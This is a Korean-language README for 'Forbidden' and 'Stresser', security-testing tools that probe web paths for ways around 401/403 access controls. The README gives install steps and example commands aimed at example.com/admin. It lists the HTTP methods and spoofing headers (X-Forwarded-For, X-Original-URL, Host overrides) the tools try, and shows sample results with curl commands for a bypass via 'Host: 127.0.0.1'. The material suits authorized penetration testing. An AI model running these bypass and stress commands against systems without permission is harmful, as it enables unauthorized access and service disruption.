
4xx HTTP 응답 상태 코드 및 그 이상을 우회합니다. 이 도구는 Python Requests, PycURL 및 HTTP Client를 기반으로 합니다.
4xx HTTP 응답 상태 코드 등을 우회합니다.
이 도구는 Python Requests, PycURL, HTTP Client를 기반으로 합니다.
Kali Linux v2024.2 (64-bit)에서 테스트되었습니다.
교육 목적으로 제작되었습니다. 도움이 되길 바랍니다!
향후 계획:
silent 옵션 추가 (콘솔 출력 숨김).no color 옵션 추가 (컬러 콘솔 출력 비활성화).hop-by-hop HTTP 요청 헤더 테스트 추가.User-Agent HTTP 요청 헤더 테스트 추가.Kali Linux에서는 문제없이 작동해야 합니다. 그렇지 않으면 다음을 실행하세요:
apt-get -y install libcurl4-gnutls-dev librtmp-dev
pip3 install --upgrade pycurl
Windows OS에서 PycURL은 지원되지 않습니다.
macOS에서는 다음을 실행하세요:
brew uninstall curl
brew uninstall openssl
brew install curl
brew install openssl
echo 'export PATH="/opt/homebrew/opt/curl/bin:$PATH"' >> ~/.zshrc
echo 'export PATH="/opt/homebrew/opt/openssl@3/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
export LDFLAGS="-L/opt/homebrew/opt/curl/lib"
export CPPFLAGS="-I/opt/homebrew/opt/curl/include"
export PYCURL_SSL_LIBRARY=openssl
pip3 install --no-cache-dir --compile --ignore-installed --config-setting="--with-openssl=" --config-setting="--openssl-dir=/opt/homebrew/opt/openssl@3" pycurl
또는 Homebrew를 사용하여 설치 (본인이 관리하지 않음):
brew install forbidden
pip3 install --upgrade forbidden
git clone https://github.com/ivan-sincek/forbidden && cd forbidden
python3 -m pip install --upgrade build
python3 -m build
python3 -m pip install dist/forbidden-13.4-py3-none-any.whl
403 Forbidden HTTP 응답 상태 코드 우회:
forbidden -u https://example.com/admin -t protocols,methods,uploads,overrides,headers,paths-ram,encodings -f GET -l initial,path -o forbidden_403_results.json
403 Forbidden HTTP 응답 상태 코드 스트레스 테스트와 함께 우회:
mkdir stresser_403_results
stresser -u https://example.com/admin -r 1000 -th 200 -f GET -l initial -dir stresser_403_results -o stresser_403_results.json
401 Unauthorized HTTP 응답 상태 코드 우회:
forbidden -u https://example.com/admin -t auths -f GET -l initial -o forbidden_401_results.json
오픈 리디렉션 및 깨진 URL 파서 테스트, 즉 대역외(OOB) 상호작용 테스트:
forbidden -u https://example.com/admin -t redirects,parsers -f GET -l initial -e xyz.interact.sh -o forbidden_oob_results.json
protocols
Host HTTP 요청 헤더 없이 HTTP/1.0 프로토콜 다운그레이드를 테스트합니다.methods
Content-Length: 0 HTTP 요청 헤더도 함께 사용합니다.uploads
overrides
Host HTTP 요청 헤더도 함께 사용합니다.headers
values
paths
encodings
auths
redirects
parsers
더 자세한 내용은 다음을 참조하세요:
참고사항:
고유 필터가 적용됩니다.Forbidden과 Stresser 모두 Python Requests 엔진을 사용합니다.Host HTTP 요청 헤더 없이 HTTP/1.0 프로토콜 다운그레이드를 테스트하는 것은 HTTP Client 엔진으로 고정됩니다. 또한, 제공된 cURL 명령은 cURL이 Host HTTP 요청 헤더 제거를 허용하지 않으므로 제대로 작동하지 않습니다.Host HTTP 요청 헤더를 사용한 HTTP 호스트 오버라이드 테스트는 Python Requests 엔진으로 고정됩니다. 또한, 제공된 cURL 명령은 cURL이 두 개의 Host HTTP 요청 헤더 사용을 허용하지 않으므로 제대로 작동하지 않습니다.PycURL 엔진으로 고정됩니다.정규화하거나(encodings 테스트 시), HTTP 요청을 수정하거나, HTTP 요청을 완전히 드롭할 수 있습니다.User-Agent HTTP 요청 헤더가 필요할 수 있습니다.속도 제한 및 기타 유사한 안티봇 보호에 주의하세요. 동일한 도메인에서 도구를 다시 실행하기 전에 시간을 두십시오.이는 사용되는 내용에 대한 간략한 개요일 뿐, 사용 방법에 대한 설명은 아닙니다.
ACL
ARBITRARY
BASELINE-CONTROL
BIND
CHECKIN
CHECKOUT
CONNECT
COPY
DELETE
GET
HEAD
INDEX
LABEL
LINK
LOCK
MERGE
MKACTIVITY
MKCALENDAR
MKCOL
MKREDIRECTREF
MKWORKSPACE
MOVE
OPTIONS
ORDERPATCH
PATCH
POST
PRI
PROPFIND
PROPPATCH
PUT
REBIND
REPORT
SEARCH
SHOWMETHOD
SPACEJUMP
TEXTSEARCH
TRACE
TRACK
UNBIND
UNCHECKOUT
UNLINK
UNLOCK
UPDATE
UPDATEREDIRECTREF
VERSION-CONTROL
이는 사용되는 내용에 대한 간략한 개요일 뿐, 사용 방법에 대한 설명은 아닙니다.
19-Profile
Accept
Base-URL
CF-Connecting-IP
Client-IP
Cluster-Client-IP
Destination
Forwarded-For
Forwarded-For-IP
From
Front-End-HTTPS
Host
Incap-Client-IP
Origin
Profile
Proxy
Proxy-Client-IP
Redirect
Referer
Remote-Addr
Request-URI
True-Client-IP
URI
URL
WAP-Profile
WL-Proxy-Client-IP
X-Client-IP
X-Cluster-Client-IP
X-Forward
X-Forward-For
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-IP
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Path
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-SSL
X-Forwarded-Scheme
X-Forwarded-Server
X-HTTP-DestinationURL
X-HTTP-Host-Override
X-HTTP-Method
X-HTTP-Method-Override
X-Host
X-Host-Override
X-Method
X-Method-Override
X-Original-Forwarded-For
X-Original-Remote-Addr
X-Original-URL
X-Originally-Forwarded-For
X-Originating-IP
X-Override-URL
X-Proxy-Host
X-Proxy-URL
X-ProxyUser-IP
X-Real-IP
X-Referer
X-Remote-Addr
X-Remote-IP
X-Rewrite-URL
X-Scheme
X-Server-IP
X-True-Client-IP
X-True-IP
X-URL-Scheme
X-Wap-Profile
참고사항:
오름차순, HTTP 응답 본문 길이 내림차순, 테스트 ID 오름차순으로 정렬됩니다.2xx 및 3xx HTTP 응답 상태 코드만 결과에 포함되고 콘솔 출력에 표시됩니다.length 속성은 HTTP 응답 본문 길이를 나타냅니다.false positive 결과를 수동으로 필터링하려면, 각 고유 HTTP 응답 콘텐츠 길이에 대해 제공된 cURL 명령을 실행하고 HTTP 응답이 우회로 이어지는지 확인하세요. 그렇지 않으면 동일한 콘텐츠 길이의 모든 결과를 무시하면 됩니다.[
{
"id":"595-HOST-OVERRIDES-1",
"url":"https://example.com:443/admin",
"method":"GET",
"headers":[
"Host: 127.0.0.1"
],
"cookies":[],
"body":"",
"user_agent":"Forbidden/13.4",
"command":"curl --path-as-is -iskL -A 'Forbidden/13.4' -H 'Host: 127.0.0.1' -X 'GET' 'https://example.com:443/admin'",
"status":200,
"length":14301
},
{
"id":"596-HOST-OVERRIDES-1",
"url":"https://example.com:443/admin",
"method":"GET",
"headers":[
"Host: 127.0.0.1:443"
],
"cookies":[],
"body":"",
"user_agent":"Forbidden/13.4",
"command":"curl --path-as-is -iskL -A 'Forbidden/13.4' -H 'Host: 127.0.0.1:443' -X 'GET' 'https://example.com:443/admin'",
"status":200,
"length":14301
}
]